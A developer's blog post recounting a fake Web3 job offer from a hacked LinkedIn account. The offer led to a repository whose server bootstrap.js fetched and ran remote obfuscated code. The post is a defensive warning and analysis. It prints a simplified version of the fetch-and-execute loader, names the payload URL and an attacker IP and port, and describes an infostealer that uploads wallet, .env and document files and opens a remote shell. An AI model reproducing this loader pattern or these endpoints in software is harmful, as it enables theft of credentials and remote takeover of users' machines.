TL;DR:
A Web3 job offer from a legitimate-looking (but hacked) LinkedIn account led to a GitHub repo with a Node.js backend. A bootstrap.js
file in this backend was designed to dynamically fetch and execute obfuscated malware from a remote server. The malware aimed to scan my system for sensitive data (wallets, .env files, documents, browser passwords), steal clipboard content, exfiltrate findings, and install a remote shell backdoor. The "recruiter" later messaged me saying their account was hacked. This is a stark reminder: verify everything, even from seemingly trusted sources, and always isolate unknown code.
I want to share a recent, unsettling experience that started as an exciting job prospect and quickly unraveled into a sophisticated malware attempt. The most alarming part? It came through what appeared to be a completely legitimate LinkedIn profile. This isn't just a "beware of random DMs" story; it's a "even trusted-looking sources can be compromised" warning.
1: The All-Too-Believable Bait
It all began with a LinkedIn message from "Brian" (name changed). His profile wasn't some freshly made, zero-connection account. It looked real: a history, connections, professional details – everything you'd expect from a legitimate recruiter or project lead. The initial message was equally convincing:
"Impressed by your expertise... looking for a software engineer... add a staking site to our web3 game platform... budget $80-$120/h... fully remote."
In today's job market, especially for remote Web3 roles, this felt like a solid lead. What made this particularly insidious was the gradual trust-building process that preceded any mention of a repository.
Over a series of messages spanning a couple of days, "Brian" engaged in what felt like a normal preliminary screening:
- He asked about my specific experience with React, Solidity, Ethers.js, and my general familiarity with Web3 development.
- I answered enthusiastically, detailing relevant projects and my skillset.
- Each response from him was positive and affirming, suggesting my skills were a good match. He'd say things like, "That's great, exactly what we're looking for."
- Crucially, he even sent over a document outlining project requirements and my potential responsibilities. This document detailed tasks like UI enhancements, smart contract interactions, and integration with their "game platform." It looked professional and further solidified the impression of a well-thought-out, genuine opportunity.
- We briefly discussed the high-level goals for the staking platform – improving user engagement, adding utility to their game's tokens. The language was professional, the tone encouraging, with no immediate red flags like overly pushy demands or poor grammar that sometimes signal a scam.
This back-and-forth, complete with a seemingly standard requirements document, created a strong semblance of a normal, legitimate hiring interaction. It built a level of comfort and trust.
It was only after this initial rapport and apparent due diligence were established that the GitHub repository for the "demo version" was shared. And here's where the deception deepened significantly: the "project" they presented, the "staking platform for a Web3 game," appeared to be a direct rip-off or stolen version of an existing, legitimate project: munity.game.
Looking at the live munity.game
site later (after the "hacked account" revelation), the conceptual similarities and even some of the UI elements hinted at in the malicious repo's frontend file names were undeniable. They weren't just trying to get me to run code; they were using the veneer of a real, albeit stolen, project concept to add another layer of credibility to their scam.
So, armed with a (false) sense of a legitimate project based on a real (but stolen) concept, a detailed requirements document, and communicating with a seemingly vetted contact from a (hacked) legitimate LinkedIn profile, I was asked to review the UI of their "demo."
2: First Look - The "Demo" Repository
The repository contained a project structured with a React frontend (src/
) and a Node.js/Express backend (server/
).
- Frontend: Seemed to have the basics for a staking UI – components for ETH and NFT staking, wallet connection logic using Wagmi/Web3Modal, and interaction points for deployed smart contracts on the Sepolia testnet. Nothing immediately screamed "malware" here.
- Backend: This was a bit of a mix. It had a lot of e-commerce related code (MongoDB models for products, orders, users) which felt a bit heavy for just a staking site, but I initially chalked it up to being part of a larger, integrated "game platform."
On the surface, it was a fairly standard, if a bit eclectic, codebase.
3: The Smoking Gun - Unmasking bootstrap.js
As I delved deeper into the backend, one file set off major alarm bells: server/utils/bootstrap.js
. This script was designed to perform a highly dangerous operation:
- Decode Environment Variables: It used
atob()
to decode several Base64 encoded environment variables (DEV_API_KEY
,DEV_SECRET_KEY
,DEV_SECRET_VALUE
).-
DEV_API_KEY
decoded to:https://bs-production.up.railway.app/on
-
DEV_SECRET_KEY
decoded to:x-secret-key
-
DEV_SECRET_VALUE
decoded to:_
(a single underscore)
-
- Fetch Remote Code: It then used
axios.get()
to fetch content from the decoded URL, passing the decoded secret key and value as a custom header. - Dynamic Execution (The Point of No Return): The fetched content (a string of JavaScript code) was then dynamically executed using
new (Function.constructor)('require', fetchedCodeString);
and then calling it withhandler(require);
.
Here's a simplified look at the dangerous pattern:
// Simplified version from the actual obfuscated code in bootstrap.js
const initAppBootstrap = async () => {
try {
const src = atob(process.env.DEV_API_KEY); // Decodes to remote URL
const k = atob(process.env.DEV_SECRET_KEY); // Decodes to header key
const v = atob(process.env.DEV_SECRET_VALUE); // Decodes to header value
const s = (await axios.get(src,{headers:{[k]:v}})).data; // Fetches code
// DANGER ZONE: Creates a new function from the fetched string 's'
// and gives it access to Node.js's 'require'
const handler = new (Function.constructor)('require',s);
// Executes the fetched code with full Node.js capabilities
handler(require);
} catch(error) { /* ... */ }
}
// This function was called when the server started
initAppBootstrap();
This new Function()
technique, especially when loading code from an external, unverified source, is a classic vector for malware delivery. It gives the remotely fetched code full access to Node.js capabilities on the machine running the server.
4: Inside the Trojan Horse - The Malware's Malicious Intent
Curiosity (and a healthy dose of paranoia) led me to fetch the code from the railway.app
URL in an isolated environment. The script was heavily obfuscated, clearly designed to hide its true, malicious purpose. Its capabilities were alarming:
- System-Wide File Scanning & Data Theft:
- It was programmed to scan all drives (on Windows) or the home directory (macOS/Linux).
- It had an extensive
searchKey
array targeting:-
.env
files. - Crypto wallet related files and keywords:
metamask
,phantom
,bitcoin
,Trust
,phrase
,secret
,mnemonic
,seed
,recovery
,keypair
,wallet
. - Personal documents:
.doc
,.docx
,.pdf
,.txt
,.xls
,.csv
. - Source code and configuration files:
.json
,.ts
,.js
,.ini
.
-
- Found files were to be uploaded to an attacker-controlled server (
172.86.111.244:4661/upload
).
- Chrome Password Exfiltration (Windows): It contained logic to decrypt and steal saved passwords from Google Chrome.
- Clipboard Monitoring: It continuously scraped clipboard content.
- Remote Shell Backdoor: It attempted to install
socket.io-client
and connect to the attacker's server (172.86.111.244:4661
), allowing remote command execution. - System Information Gathering & Anti-VM: It collected OS info and included checks to detect virtualized environments.
This wasn't a "demo." It was a sophisticated infostealer and backdoor.
5: The Twist - "My Account Was Hacked"
Just as I was piecing this together, I received another message from "Brian," the original contact:
"Sorry this is probably a scam job post. Someone hacked into my account and started sending scam job posts."
This message, while a relief (confirming my suspicions), was also a chilling reminder: the initial point of contact, the LinkedIn profile that looked so legitimate, was itself compromised. The attackers weren't just creating fake profiles; they were hijacking real ones to lend an air of authenticity to their scam.
6: Key Takeaways - Staying Safe in a Deceptive Landscape
This experience underscored several critical security practices for developers:
- Isolate Everything Unknown: Never run code from an unverified source directly on your main machine. Use Virtual Machines (VMs) or dedicated, sandboxed environments. This is non-negotiable for backend code.
- Think of it like handling a potentially hazardous chemical – you'd use a fume hood, right? A VM is your digital fume hood.
- Dedicated Test Wallets & Testnets: For any Web3 frontend work, always use fresh, empty test wallets funded only with testnet currency.
- Scrutinize Dynamic Code Execution: Be extremely wary of any code that uses
eval()
,new Function()
, or fetches and executes scripts from remote URLs. Legitimate use cases are rare and require absolute trust and transparency. Thebootstrap.js
pattern was a giant, waving red flag. - Review
package.json
and Dependencies: Look for unusual scripts (especiallypostinstall
) or obscure dependencies. - Question the "Why": If a "simple demo" requires running a complex backend with unusual utility scripts early in the process, ask why.
- Verify the Source, Then Verify Again: The hacked LinkedIn account shows that even seemingly legitimate points of contact can be compromised. If something feels off about the communication or the request, try to verify the person through another channel if possible, or simply proceed with maximum caution.
- Trust Your Instincts: If a project or a piece of code feels "off" or too risky, it probably is.
- Emergency Protocol: Know what to do if you suspect a compromise:
- Disconnect from the internet IMMEDIATELY.
- From a DIFFERENT, TRUSTED device, change all critical passwords and move valuable digital assets.
- Run thorough malware scans.
- For a main machine, seriously consider a full OS reinstall after backing up only essential data files.
This "job offer" was a sophisticated social engineering attempt to get developers to willingly run malware. The fact that it came from a (compromised) legitimate-looking account made it all the more deceptive.
Stay vigilant, share your experiences, and let's help each other stay safe in this evolving digital landscape.
Got a similar story or security tip? Share it in the comments below!
Top comments (1)
My mind is blown after I realised how easy it is to get hacked by running some 3rd party code.
I am amazed with the amount of effort you put into this reverse-engineering, well done, it was a good read! 👏